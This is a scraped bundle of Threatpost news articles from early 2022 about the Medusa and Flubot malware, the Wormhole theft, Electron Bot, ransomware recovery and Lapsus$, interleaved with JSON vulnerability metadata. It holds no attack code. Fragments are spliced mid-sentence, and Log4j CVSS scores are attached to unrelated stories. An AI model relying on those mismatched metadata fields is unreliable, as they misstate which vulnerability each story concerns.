Those sanctions have been levied against the nation and Vladimir Putin\u2019s government due to its invasion of Ukraine.\n\nThe Financial Crimes Enforcement Network (FinCEN) issued a FinCEN Alert [(PDF)](<https://www.fincen.gov/sites/default/files/2022-03/FinCEN%20Alert%20Russian%20Sanctions%20Evasion%20FINAL%20508.pdf>) on Wednesday advising all financial institutions to remain vigilant against potential efforts to evade the expansive sanctions and other U.S.-imposed restrictions related to the current conflict. One way this may be done is to move cryptocurrency funds through ransomware payments collected after Russian state-sponsored actors carry out cyberattacks.\n\n\u201cIn the face of mounting economic pressure on Russia, it is vitally important for U.S. financial institutions to be vigilant about potential Russian sanctions evasion, including by both state actors and oligarchs,\u201d said FinCEN Acting Director Him Das [in a press statement.](<https://www.fincen.gov/news/news-releases/fincen-provides-financial-institutions-red-flags-potential-russian-sanctions>)\n\nFinancial actions taken against Russia by the U.S. Department of the Treasury\u2019s Office of Foreign Assets Control (OFAC) since the nation\u2019s invasion of Ukraine last month are numerous. They include:\n\n * Sanctions against persons who have financial operations in the Russian Federation, including Putin and Russia\u2019s Minister of Foreign Affairs Sergei Lavrov\n * Prohibitions on correspondent or payable-through account and payment processing and blocking of certain Russian financial institutions\n * Prohibitions related to new debt and equity for certain Russian entities\n * A prohibition on transactions involving certain Russian government entities, including the Central Bank of the Russian Federation.\n\nFinCEN now is urging financial institutions \u2013 including those with visibility into cryptocurrency or convertible virtual currency (CVC) flows, such as CVC exchangers and administrators \u2013 to identify and report suspicious activity associated with potential sanctions evasion quickly and conduct an investigation where appropriate.\n\nSo far FinCEN has not seen widespread evasion of sanctions using methods such as cryptocurrency, Das noted. However, \u201cprompt reporting of suspicious activity\u201d can ensure this remains the case to support U.S. efforts and interest in supporting Ukraine.\n\n## **Ramp-Up in Cyber-Attacks **\n\nIndeed, Russia state-sponsored actors already have ramped up cyber-attacks since the beginning of the conflict in the Ukraine; thus, an increase in ransomware activity is not an entirely unlikely prospect.\n\nResearchers at Google\u2019s Threat Analysis Group (TAG) [reported earlier this week](<https://threatpost.com/russian-apts-phishing-ukraine-google/178819/>) that they had observed advanced persistent threat (APT) groups affiliated with or backing Vladimir Putin\u2019s government stepping up phishing attacks against Ukrainian and European targets, as well as distributed denial-of-service (DDoS) attacks against key government and service-oriented Ukrainian websites.\n\nBecause it is not regulated by typical financial currency laws in the United States, cryptocurrency has become a method of choice for cybercriminals to conduct transactions \u2013 including receiving payouts after ransomware attacks. For this reason, it also could be used by Russia to get around U.S. sanctions, noted one security professional.\n\n\u201cFor the tech savvy or oligarch with a need to move money, they can hire the talent to move the transactions,\u201d Rosa Smothers, senior vice president of cyber operations at security firm [KnowBe4](<https://u7061146.ct.sendgrid.net/ls/click?upn=4tNED-2FM8iDZJQyQ53jATUavSzE-2FiwjSkZ-2BMZMLjTD68bBzltWsjOj4iPYBhQEjDkOYxa_6bll2uIcECOBsx1gx1IC2zx-2FnKyCXka4AgKvEYqpnW0-2BDbBUicS42bKww9XV5LeOm8YSoCZbw6XkWDSfAMcb8IRiPIGKWMahkivu0WTh5PX5dG77IJVWKxIQtQJVv-2BIYuYvpXdvb7-2BNsZCUHkZXL7ec2QLTY2-2FTBe03G8iVYPixd8Bov5GgH6DAKHGUqexQ-2B0nAYVFKMqkBKYw8YYPqfJNrlxOwOTBqCCKReqy6Kmv5Y9-2FNHt4zLkJVstDtTRBPXtmuX1dxVZT3q5fhWHsXeqv-2Fv1cJIX-2Fjlb-2FKnRhdADS-2BgZa5auC32i8V3U0ThbubhxXsqpIt03Hz1cjPy4L3tEOEdvhmz3jLvNd846SsHu-2Fk-3D>) and a former CIA cyber threat analyst and technical intelligence officer, observed in an email to Threatpost.\n\nHowever, while cryptocurrency does provide privacy for storage and process transactions, \u201cthe transparency provided by blockchain could make the movement of large amounts of cryptocurrency detectable by law enforcement,\u201d she noted, citing how the Department of Justice was able to [seize millions of dollars in Bitcoin](<https://threatpost.com/fbi-claws-back-millions-darksides-ransom/166705/>) that Colonial Pipeline paid to the DarkSide group after [a highly disruptive ransomware attack](<https://threatpost.com/pipeline-crippled-ransomware/165963/>) last May.\n\nIndeed, another security professional expressed doubt that Russia could use ransomware payments or any other type of cryptocurrency transactions to evade U.S. sanctions \u201cat any meaningful scale.\u201d\n\n\u201cThe magnitude of the recent sanction reaches into the billions, amounts that are large enough to be unattainable for almost all cryptocurrencies currently,\u201d observed Chris Clements, vice president of solutions architecture at security firm Cerberus Sentinel. \u201cThere may be opportunities at the individual level, but for the scale of nation-state operations and expenditures, a few million or even tens of millions aren\u2019t really going to move the needle.\u201d\n\nLike Smothers, he also noted that the transparency of blockchain technology due to its nature as \u201ca public ledger\u201d makes it easier for financial authorities to observe and trace suspicious cryptocurrency transactions than if sanctioned entities used \u201ctraditional money-laundering means.\u201d\n\nRegister Today for [**Log4j Exploit: Lessons Learned and Risk Reduction Best Practices**](<https://bit.ly/3BXPL6S>) \u2013 a LIVE **Threatpost event** sked for Thurs., March 10 at 2PM ET.

If a victim falls for the ruse, the malware is installed, which adds the infected device to a botnet. Then, it sets about gaining permissions, stealing banking information and credentials, lifting passwords stored on the device and squirreling away various pieces of personal information.\n\nThe malicious implant also sends out additional text messages to the infected device\u2019s contact list, which allows it [to \u201cgo viral\u201d](<https://threatpost.com/threat-actors-androids-flubot-teabot-campaigns/177991/>) \u2013 like the flu.\n\nApparently, Medusa likes the cut of Flubot\u2019s jib: \u201cOur threat intelligence shows that Medusa followed with exactly the same app names, package names and similar icons,\u201d ThreatFabric researchers noted in a [Monday analysis](<https://www.threatfabric.com/blogs/partners-in-crime-medusa-cabassous.html>). \u201cIn less than a month, this distribution approach allowed Medusa to reach more than 1,500 infected devices in one botnet, masquerading as DHL.\u201d\n\nAnd that\u2019s just for one botnet. ThreatFabric pointed out that Medusa has multiple botnets carrying out multiple campaigns.\n\nUnlike Flubot, which [mainly spreads](<https://threatpost.com/flubot-spyware-android-devices/165607/>) in Europe, Medusa is more of an equal-opportunity threat when it comes to geography. Recent campaigns have targeted users from Canada, Turkey and the United States.\n\n\u201cAfter targeting Turkish financial organizations in its first period of activity in 2020, Medusa has now switched its focus to North America and Europe, which results in [a] significant number of infected devices,\u201d ThreatFabric researchers noted. \u201cPowered with multiple remote-access features, Medusa poses a critical threat to financial organizations in targeted regions.\u201d\n\n## **Medusa Bursts on the Scene**\n\nFirst discovered in July 2020, Medusa (related to the Tanglebot family of RATs) is a mobile banking trojan that can gain near-complete control over a user\u2019s device, including capabilities for keylogging, banking trojan activity, and audio and video streaming. To boot, it has received several updates and improved in its obfuscation techniques as it hops on Flubot\u2019s infrastructure coattails, researchers said.\n\nFor one, it now has an accessibility-scripting engine that allows actors to perform a set of actions on the victim\u2019s behalf, with the help of Android Accessibility Service.\n\n\u201cBy abusing Accessibility Services, Medusa is able to execute commands on any app that is running on a victim\u2019s device,\u201d researchers noted. \u201cA command like \u2018fillfocus\u2019 allows the malware to set the text value of any specific text box to an arbitrary value chosen by the attacker, e.g., the beneficiary of a bank transfer.\u201d\n\nAccessibility events logging is a companion upgrade to the above. With a special command, Medusa can collect information about active windows, including the position of fields and certain elements within a user interface, any text inside those elements, and whether the field is a password field.\n\n\u201cHaving all the data collected the actor is able to get a better understanding of the interface of different applications and therefore implement relevant scenarios for accessibility scripting feature,\u201d according to ThreatFabric. \u201cMoreover, it allows actor(s) to have deeper insight on the applications the victim uses and their typical usage, while also [being able] to intercept some private data.\u201d\n\nThe following snippet shows the code that collects the information of active window going through its nodes:\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2022/02/07171257/code-snippet.png>)\n\nSource: ThreatFabric.\n\nFurther, in examining Medusa\u2019s back-end panels, researchers observed the malware\u2019s operators marking banking apps with a \u201cBANK\u201d tag, to control/log the input fields.\n\n\u201cThis means that any banking app in the world is at risk to this attack, even those who do not fall within the current target list,\u201d they warned.\n\nThe command-and-control server (C2) can also command Medusa to carry out a wide variety of RAT work, including clicking on a specific UI element, sleeping, screenshotting, locking the screen, providing a list of recent apps and opening recent notifications.\n\n## **Flubot Evolves Its Capabilities**\n\nThe researchers also noticed that the addition of Medusa to the mix hasn\u2019t slowed down Flubot\u2019s own development. They explained that it now has a \u201cnovel capability never seen before in mobile banking malware.\u201d\n\nTo wit: In version 5.4, Medusa picked up the ability to abuse the \u201cNotification Direct Reply\u201d feature of Android OS, which allows the malware to directly reply to push notifications from targeted applications on a victim\u2019s device. The user isn\u2019t aware of the activity, so Flubot can thus intercept them \u2013 opening the door to thwarting two-factor authentication and more, researchers said.\n\n\u201cEvery minute the malware sends the statistics to the C2 about the notifications received,\u201d they explained. \u201cAs a response, it might receive a template string that will be used to re-create an object of intercepted notification with updated parameters, thus allowing [Flubot] authors to arbitrarily change notification content\u2026We believe that this previously unseen capability can be used by actors to sign fraudulent transactions on [a] victim\u2019s behalf, thus making notifications [a] non-reliable authentication/authorization factor on an infected device.\u201d\n\nAnother potential abuse of this functionality could be to respond to social-application interactions with \u201cnotifications\u201d containing malicious phishing links.\n\n\u201cConsidering the popularity of these type of apps and the strong focus of [Flubot] on distribution tactics, this could easily be the main MO behind this new Notification Direct Reply Abuse,\u201d according to ThreatFabric.\n\n**_Check out our free _**[**_upcoming live and on-demand online town halls_**](<https://threatpost.com/category/webinars/>) **_\u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community._**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-02-07T22:13:29", "type": "threatpost", "title": "Medusa Malware Joins Flubot's Android Distribution Network", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228"], "modified": "2022-02-07T22:13:29", "id": "THREATPOST:10245D9804511A09607265485D240FFF", "href": "https://threatpost.com/medusa-malware-flubot-android-distribution/178258/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-10T00:00:00", "description": "Wormhole \u2013 a web-based blockchain \u201cbridge\u201d that enables users to convert cryptocurrencies \u2013 said on Thursday that \u201call funds are safe\u201d after attackers abused a vulnerability to shake it down for 120,000 Ethereum (approximately $314 million).\n\nIn a postmortem shared with Threatpost on Thursday, blockchain security and smart-auditing company CertiK said that its preliminary analysis indicates that \u201cthe attacker exploited a mint function on the Solana side of the Wormhole bridge to create 120,000 wETH [wrapped Ethereum] for themselves, then used these minted tokens to claim ETH that was held on the Ethereum side of the bridge.\u201d\n\nAs far as negotiation attempts go, CertiK said that the Wormhole team left a message to the attacker stating, \u201cWe noticed you were able to exploit the Solana VAA verification and mint tokens. We\u2019d like to offer you a white-hat agreement, and present you a bug bounty of $10 million for exploit details, and return the wETH you\u2019ve minted.

That attacker reportedly went on to [pay it back](<https://threatpost.com/poly-network-recoups-610m-stolen-from-defi-platform/168906/>), however, after accepting a gig as chief security advisor with Poly Network.\n\nIn an early-morning [tweet](<https://twitter.com/wormholecrypto/status/1489233259808571401>) on Thursday, the official Wormhole Twitter account confirmed that it had been raided for 120,000 ETH, but that the vulnerability is now patched.\n\n> 1/2\n> \n> All funds have been restored and Wormhole is back up.\n> \n> We're deeply grateful for your support and thank you for your patience.\n> \n> \u2014 Wormhole\ud83c\udf2a (@wormholecrypto) [February 3, 2022](<https://twitter.com/wormholecrypto/status/1489232008521859079?ref_src=twsrc%5Etfw>)\n\nWormhole\u2019s Portal \u2013 its token bridge \u2013 was back up as of 13:29 UTC, the team said.\n\n## A \u2018Rather Common\u2019 Programming Error\n\nRoger Grimes, data driven defense evangelist for KnowBe4, told Threatpost on Thursday that the attack was successful because of what he called a \u201crather common\u201d programming error.\n\n\u201cThe function inside of the multiple nested smart contracts which was supposed to verify the signature was not coded to ensure the integrity check actually happened,\u201d he exlained via email. \u201cSo there was no integrity guaranteed in the integrity check. Yeah, that is a problem.\u201d\n\n## Why So Popular?\n\nCertiK said that the bridge\u2019s popularity meant that it had become the dominant bridge between Solana and Ethereum, \u201cand as such was responsible for a large proportion of all wrapped Ethereum on the Solana blockchain.\u201d\n\n020322 14:54 UPDATE: Added CertiK\u2019s analysis of Wormhole\u2019s 1:1 ratio of ETH to wETH. \n\nAs CertiK explained in its postmortem, the bridge held a 1:1 ratio of ETH to wETH, \u201cacting essentially as an escrow service.\u201d But the theft broke that 1:1 peg, leading to what CertiK said was \u201cat least 93,750 less ETH held as collateral.\u201d\n\nIt didn\u2019t bode well for the financial health of Solana, the firm pointed out. If that ratio hadn\u2019t been regained, DeFi on Solana was at risk of \u201ca mass liquidation event,\u201d according to the its analysis.\n\nBut given that Wormhole on Thursday indicated that its backers \u2013 whoever they may be \u2013 had put up the funds necessary to return the peg to a 1:1 backing, the collateralization of wETH on Solana was restored. \n\nAll well and good, but still, investors\u2019 gonads shrunk in response to the massive heist: The price of Solana, which outpaced both Bitcoin and Ethereum last year, was in [freefall](<https://www.forbes.com/sites/billybambrough/2022/02/03/crypto-price-alert-ethereum-rival-solana-suddenly-in-free-fall-after-huge-325-million-hack/?sh=442f39b04bb5>) Thursday morning. It was selling at $97.69 as of 12:50 ET, down 10 percent since the details of the theft were revealed. Solana had hit a high of $260 in November 2021. Ethereum is also giving investors the hives, having dropped about 5 percent as of the same time on Thursday.\n\nAt this point, the full extent of this attack \u201cstill remains to be seen,\u201d CertiK said. It could turn out to be a precursor to other attacks, the firm suggested, if, for example, Wormhole\u2019s bridge to a different cryptocurrency \u2013 the Terra blockchain \u2013 shares the same vulnerability as its Solana bridge.\n\n## Who Bailed Out Wormhole?\n\nThe Wormhole team didn\u2019t specify who dug into what must be some seriously deep pockets to back-fill all that money. The Twitterverse, of course, had hypotheses, including that perhaps it was Alameda Research: a cryptocurrency quantitative trading firm and liquidity provider that claims to \u201cmanage over $70 million in digital assets and trade around $1 billion per day across thousands of products: all major coins and altcoins, and their derivatives.\u201d\n\n\u201cIt was either dilute their equity to infinity with $300 million bail out or watch all of Solana ecosystem crash and burn (which would have costed Alameda more than $300 million on their books),\u201d suggested one Twitter user.\n\n> Alameda probably bailed them out, it was either dilute their equity to infinity with $300 million bail out or watch all of Solana ecosystem crash and burn (which would have costed Alameda more than $300 million on their books)\n> \n> \u2014 ichioku (@1chioku) [February 3, 2022](<https://twitter.com/1chioku/status/1489240858017021956?ref_src=twsrc%5Etfw>)\n\nAlameda hasn\u2019t made a public statement on the matter. Wormhole has promised a detailed incident report as soon as possible.\n\n## Crypto\u2019s Cutting Edge Gets a Nasty Cut\n\nRonghui Gu, co-founder and professor of CertiK, told Threatpost on Thursday that clearly this Wormhole exploit isn\u2019t the first of its kind, and obviously, it won\u2019t be the last.\n\n\u201cWe saw another cross-chain bridge exploited less than a week ago, when Qubit Finance lost $80 million,\u201d Gu pointed out, referring to an attack [confirmed](<https://blockworks.co/defi-protocol-qubit-finance-loses-80m-in-hack/#:~:text=Hackers%20have%20stolen%20%2480%20million,ever%2C%20DeFiYield%20Rekt%20data%20shows.>) by the DeFi protocol Qubit Finance on Friday.\n\nThe attackers reportedly made off with 206,809 Binance coins through Qubit\u2019s QBridge deposit function, making it the seventh-largest DeFi hack ever.\n\nExpect more of the same when it comes to bridge exploits, Gu said, given insatiable demand for these technologies. \u201cWe seem to be at an awkward point where the demand for cross-chain infrastructure is far outpacing the industry\u2019s ability to build services securely,\u201d he told Threatpost via email.\n\nOf course, there\u2019s always the \u201cbecause that\u2019s where the money is\u201d rationale, Gu noted: \u201cBridges are an attractive target for hackers: they hold millions of dollars of tokens in what is essentially an escrow contract, and by operating across multiple chains they multiply their potential points of failure.\u201d\n\nThreat actors follow the money, he said, and those on the cutting edge of cryptocurrency technology can get bumped off as a result: \u201cA lot of money goes to the newest, most exciting ecosystems. The price that the most adventurous DeFi explorers pay is a heightened risk of falling victim to these exploits of innovative but ultimately insecure platforms.\u201d\n\n## A Need for Secure Development Lifecycle\n\nWhere there is software, there are bugs. Grimes pointed to the attack as being a case in point about the need for training in secure development lifecycle (SDL) coding. \u201cSDL teaches developers about common exploitable bugs and how to avoid putting it into their own code,\u201d he explained. \u201cIt teaches about using bug checking tools, using coding tools that automatically rule out as many security bugs as they can, and in general, puts security into the whole lifecycle of developing something, be it a traditional program, smart phone app or smart contract.\u201d\n\nBut there\u2019s a bigger underlying problem, he noted: Namely, most developers and smart contract creators, aren\u2019t trained in SDL and \u201cget little to no training in secure development. So, these sorts of bugs are going to creep in and bad actors are going to take advantage of them.\u201d\n\nOne thing to note is that the cryptocurrency world is full of trillions of dollars, but it\u2019s still at the toddler stage. \u201cIt is an immature industry using immature code, and like all new industries, it is moving ahead at warp speed, good security be damned,\u201d Grimes said.\n\nWhereas it\u2019s getting harder for bad actors and bug hunters to find really good exploits in Microsoft Windows, Macs, Linux and Google ChromeOS, these platforms are maturing, making it tougher to pull them apart, he said. That includes the experienced coders, tools and the protective mechanisms of the operating systems themselves.\n\nNot so with the cryptocurrency world, Grimes said, which is the mirror opposite.\n\n\u201cIt is built on very secure protocols and algorithms, but then a lot of very immature and buggy applications are built on top of it,\u201d he observed.\n\nHe compared it to putting your door key in your potted plant in front of the door: \u201cSometimes all a thief has to do is look. And that is what hackers exploiting cryptocurrency are doing. They are taking their traditional methods for hunting bugs and using them against immature cryptocurrency applications.

But we always seem to want there to be more digital blood on the ground than there needs to be. We always, over and over, want to learn the hard way.

Among the multiple evil deeds it can execute remotely, it enables its operators to register new accounts, log in, and comment on and like other social media posts \u2013 all in real time.\n\nIn a Thursday [report](<https://research.checkpoint.com/2022/new-malware-capable-of-controlling-social-media-accounts-infects-5000-machines-and-is-actively-being-distributed-via-gaming-applications-on-microsofts-official-store/>), Check Point Research (CPR) said that the malware has claimed more than 5,000 victims in 20 countries \u2013 most from Bermuda, Bulgaria, Russia, Spain and Sweden\u2013 in its actively ongoing onslaught.\n\nIt\u2019s mainly being distributed via the Microsoft store platform, hiding in dozens of infected apps \u2013 mostly games \u2013 that the attackers are \u201cconstantly\u201d uploading, CPR said.\n\nA Microsoft spokesperson told Threatpost on Thursday that \u201cWe are investigating this issue and will take appropriate action to protect customers.\u201d\n\n## **SEO Poisoning, Ad-Clicking and Fraud**\n\nAs for its endgame, CPR researchers described the newly discovered and analyzed Electron Bot backdoor as \u201ca modular SEO-poisoning malware\u201d used \u201cfor social-media promotion and click fraud.\u201d\n\nIn an SEO-poisoning attack, threat actors create malicious websites and use search-engine optimization tactics that force those sites to the top of search results.\n\nSEO poisoning, besides ginning up malicious sites\u2019 SEO showings, is also sold as a service to promote other websites\u2019 rankings. It can be just another tool in malware pushers\u2019 kit bags: In March 2021, for example, we saw Gootkit malware use Google SEO poisoning to [expand](<https://threatpost.com/malware-loader-google-seo-payload/164377/>) the number of payloads it delivers.\n\nElectron Bot also functions as an ad clicker, constantly clicking on remote websites to generate clicks on ads that generate pay-per-click (PPC) ad revenue.\n\nIt can also promote social-media accounts, such as YouTube and SoundCloud, to direct traffic to specific content, thereby jacking up view and ad-clicking for yet more PPC loot. Electron Bot can also promote online products: another way to generate PPC revenue or increase a store\u2019s rating for higher sales.\n\nThe Electron framework enables the bot to \u201cimitate human browsing behavior and evade website protections,\u201d CPR explained.\n\n## Electron: Quietly Buzzing for Years\n\nResearchers said that the first hint of the attackers having trespassed into Microsoft\u2019s app store came at the end of 2018, when an [ad-clicker](<https://threatpost.com/ad-fraud-iot-hack/144552/>) campaign was [discovered](<https://www.bleepingcomputer.com/news/security/ad-clicker-hiding-as-google-photos-app-found-in-microsoft-store/>) hiding in an app called \u201cAlbum by Google Photos\u201d \u2013 an app that its authors, audaciously enough, fraudulently pushed as being published by Google LLC.\n\nThe malware has gotten bigger and brawnier over the years. The bot gets its name from [Electron](<https://www.electronjs.org/>), an open-source framework for building cross-platform, native desktop applications using web technologies such as JavaScript.\n\nThe bot hides by having most of its controlling scripts load dynamically at run time from the attackers\u2019 servers, CPR said. This approach keeps the malware nimble, too, they said: \u201cThis enables the attackers to modify the malware\u2019s payload and change the bots\u2019 behavior at any given time.\u201d\n\nWhile the bot\u2019s current activities on infected machines aren\u2019t terribly high-risk, researchers noted, the malware could do far worse, given the Electron framework\u2019s granting of access to all computer resources, including GPU computing.\n\n\u201cAs the bot\u2019s payload is loaded dynamically at every run time, the attackers can modify the code and change the bots behavior to high-risk,\u201d they said. \u201cFor example, they can initialize another second stage and drop a new malware such as ransomware or a [remote-access trojan, or RAT]. All of this can happen without the victim\u2019s knowledge.\u201d\n\n## Electron Bot Infection Routine\n\nThe infection starts when a victim installs an infected app from the Microsoft Store.\n\n\u201cWhen the user launches the game, a JavaScript dropper is loaded dynamically in the background from the attackers\u2019 server,\u201d according to CPR. \u201cIt then executes several actions including downloading and installing the malware and gaining persistency on the startup folder.\u201d\n\nWhen the infected system next starts up, the malware launches, establishes a connection with the command-and-control server (C2), and receives a dynamic JavaScript payload with a set of capability functions. Finally, the C2 sends the configuration file commands to execute.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2022/02/24123550/Electronc-Bot-infection-chain-e1645724162827.jpg>)\n\nElectron bot infection chain.

This particular game involves an \u201cinfinite\u201d runner, escaping from an enemy by crossing cliffs, forests and mines; evil ape monsters in hot pursuit; a photosensitive seizure warning; and about 100 reviews.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2022/02/24124502/Temple-Endless-Runner-game-e1645724715406.jpg>)\n\nThe popular Temple Endless Runner 2 game cloned by the Electron Bot operators.

Here, I\u2019ll cover the remaining three:\n\nBut first, let\u2019s take a quick step back.\n\nIt used to be that ransomware would get into a system, start encrypting and downloading as much as it could, and then escape before it was detected. But ransomware and the cybercriminals behind it have now evolved.\n\nMimicking the art of \u201ccasing the joint,\u201d they get in, do cyber-reconnaissance, lurk until the optimal time to inflict maximum impact, and then they strike. This practice of remaining undetected for a period of time is often referred to as dormant ransomware, and it is now a regular occurrence.\n\nBad actors are highly motivated to cause as much destruction as possible to make more money and maximize their efforts \u2014 just as with any business, it\u2019s all about ROI. Some reports suggest that ransomware sometimes lays dormant for up to 18 months. The bad actors know that optimal destruction depends on multiple factors, such as timing and scope. They want you to have no other choice but to pay the ransom.\n\nIn short, the old days of a breach and attack happening at the same time are long gone. This added complexity means that cybercriminals often know your systems better than even you do. Therefore, the chance that they launch a series of events designed to disrupt and disable critical systems to net larger payouts is rising drastically.\n\nSo, what should you do today to combat this new dormant ransomware and cyber-recon strategy? In the first part of this series, I discussed:\n\n * Get Full Infrastructure Awareness\n * Automate Alerts for Anomalous Behavior\n * Limit Access & Reduce Your Attack Surface\n\nWithout further ado, here are the remaining three of the top six steps to ensure ransomware resiliency.\n\n## **Make Resiliency & Rapid Recovery Your Goal**\n\nWith the mindset that bad actors are already in your system, resiliency and rapid recovery should become the ultimate goal. We are talking about so much more than just a restore point, a single backup copy or making multiple copies. You must architect an optimized and simplified recovery experience that will help you get back up and running quickly, even at scale.\n\nTruly optimizing for the recovery experience requires careful planning, orchestration, recovery options, cross-functional alignment and training, storage deduplication efficiencies, and global visibility and oversight. Having solutions that provide recovery from anywhere to anywhere, and flexibility and choice in the event of an attack or disaster, is critical.\n\nWhy? Well, cyberattacks are never one size fits all. Sometimes everything is impacted and you may need to recover an entire data center in the cloud and on demand. On the other hand, maybe not all your environment is impacted, just a portion; having solutions in place that allow you to grab individual databases and files to recover back quickly into production can be vital. In the case where entire servers become encrypted, you may need to quickly recover those entire servers elsewhere. Or maybe you just need to recover a large amount of virtual machines back to production.\n\n_**Important reminder:** _Not all tools provide this level of flexibility. It is important to think through all of the scenarios and choose the right solution. And remember, multiple disparate backup solutions create a complicated recovery experience, especially when multiple systems are compromised. Simplify and streamline by reducing the number and variety of point products and vendors across your organization.\n\n## **Use Immutable & Indelible Storage to Keep Backups Safe**\n\nI recommend the 3-2-1+1 methodology of data backup. That means at least three copies of your data on at least two distinct mediums with at least one offsite or segregated \u2014 and, have at least one of those copies on immutable and indelible storage.[](<https://media.threatpost.com/wp-content/uploads/sites/103/2022/02/16090743/321-Backup.png>)You can implement technology to help you easily and automatically execute a 3-2-1+1 methodology that ensures no single point of failure, by configuring lifecycle policies that send data over to a secondary or even tertiary domain. Look for technology that can send your data unidirectionally to a secure second location that can have different credentials configured and limited network capabilities, ensuring proper segmentation of your data protection environment. Even better are tools that can also send a copy of de-duplicated immutably stored data to the cloud.\n\n_**Important reminder:** _Immutable and indelible storage helps ensure that your data cannot be changed, encrypted or deleted for a determined length of time, or at all. At first, make immutable storage your second copy, but once you get comfortable with your retention policies, make it your primary copy.\n\n## **Rehearse Your Recovery**\n\nCybercriminals hope that your organization is like most \u2014 not optimized for recovery. They want maximum damage and downtime to ensure they get paid. If you are ready and have rehearsed your recovery, you are a huge step ahead.\n\nTo get to rapid recovery, you must have a cybersecurity response plan for your entire environment that includes testing early and often. Yes, regular rehearsals of your recovery help to limit downtime and disruptions and reduce the impact of an attack. Look for technology that makes it easy and efficient to execute non-disruptive tests leveraging non-production resources such as fenced networks and sandbox environments.\n\nAlso, rehearse recovering everything, and not just a subset of your applications, including things like your domain, authentication, system time and other infrastructure services, as you will likely be recovering most or all of your production environment in the event of an actual attack.\n\n_**Important reminder:** _Regular rehearsal and validation are vital for success because when you are in crisis mode, things just need to work.\n\nIn closing, one final harsh truth: It will get worse. Cybercriminals are sophisticated, well-funded and here to stay. Ransomware-as-a-service vendors exist in large numbers and have successfully transitioned to a highly profitable business model with the charter of successfully crippling organizations at their most vulnerable times to maximize ransoms. These businesses provide turnkey code, have advanced support networks with helplines, and provide tools for encryption, communicating with victims and facilitating ransom collection.\n\nIn addition to the dormant ransomware trend, we have already seen a vast influx of zero-day attacks in 2022. Along with patching and updating software regularly, it is also important to prioritize educating your employees across your entire organization. Zero-day attacks often capitalize on human error.\n\nThe good news is that you can be one step ahead of cybercriminals with the proactive steps outlined in this two-part series, diligence and some creative thinking.\n\n**_Sonya Duffin is a ransomware and data protection expert at [Veritas Technologies](<https://www.veritas.com/>)._**\n\n_**Enjoy additional insights from Threatpost\u2019s Infosec Insiders community by visiting our [microsite](<https://threatpost.com/microsite/infosec-insiders-community/>).**_\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-02-24T21:11:33", "type": "threatpost", "title": "The Harsh Truths of Cybersecurity in 2022, Part Two", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228"], "modified": "2022-02-24T21:11:33", "id": "THREATPOST:3ADFDD3CC93B03F83C2CEC5583B016AB", "href": "https://threatpost.com/harsh-truths-cybersecurity-part-two/178447/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-03-23T15:55:49", "description": "Both Microsoft and Okta are investigating claims by the new, precocious data extortion group Lapsus$ that the gang has breached their systems.\n\nLapsus$ claimed to have gotten itself \u201csuperuser/admin\u201d access to internal systems at authentication firm Okta.

The group [posted](<https://cybersecuritynews.com/beware-lapsus-ransomware-group/>) that it recruiting company insiders \u2013 including those at Microsoft; other big software/gaming companies such as Apple, IBM or EA; telecoms such as Telefonica, ATT; and more \u2013 to help it carry out its dirty work.\n\nFrom its March 10 Telegram post:\n\n\u201cWe recruit employees/insider at the following!!!! \u2026 TO NOTE: WE ARE NOT LOOKING FOR DATA, WE ARE LOOKING FOR THE EMPLOYEE TO PROVIDE US A VPN OR CITRIX TO THE NETWORK, or some anydesk\u201d \u2013 references to technologies that the cybercriminals could use to penetrate targets\u2019 networks with insiders\u2019 help.\n\n## Data on Bing, Bing Maps, Cortana Allegedly Stolen\n\nOn Monday, Lapsus$ began to circulate a 10GB compressed archive that purportedly contains internal data on Microsoft\u2019s Bing search engine and Bing Maps, along with the source code to the company\u2019s voice assistant software Cortana.\n\nThe leaked data is dated March 20, 2022.\n\n\u201cBing maps is 90% complete dump. Bing and Cortana around 45%,\u201d Lapsus$ wrote on its Telegram channel.\n\nMicrosoft acknowledged the claims and said that it\u2019s investigating.\n\n## Lapsus$ Sneers at Okta\u2019s Claims\n\nOn Tuesday, Okta Chief Security Officer Davis Bradbury made a number of claims 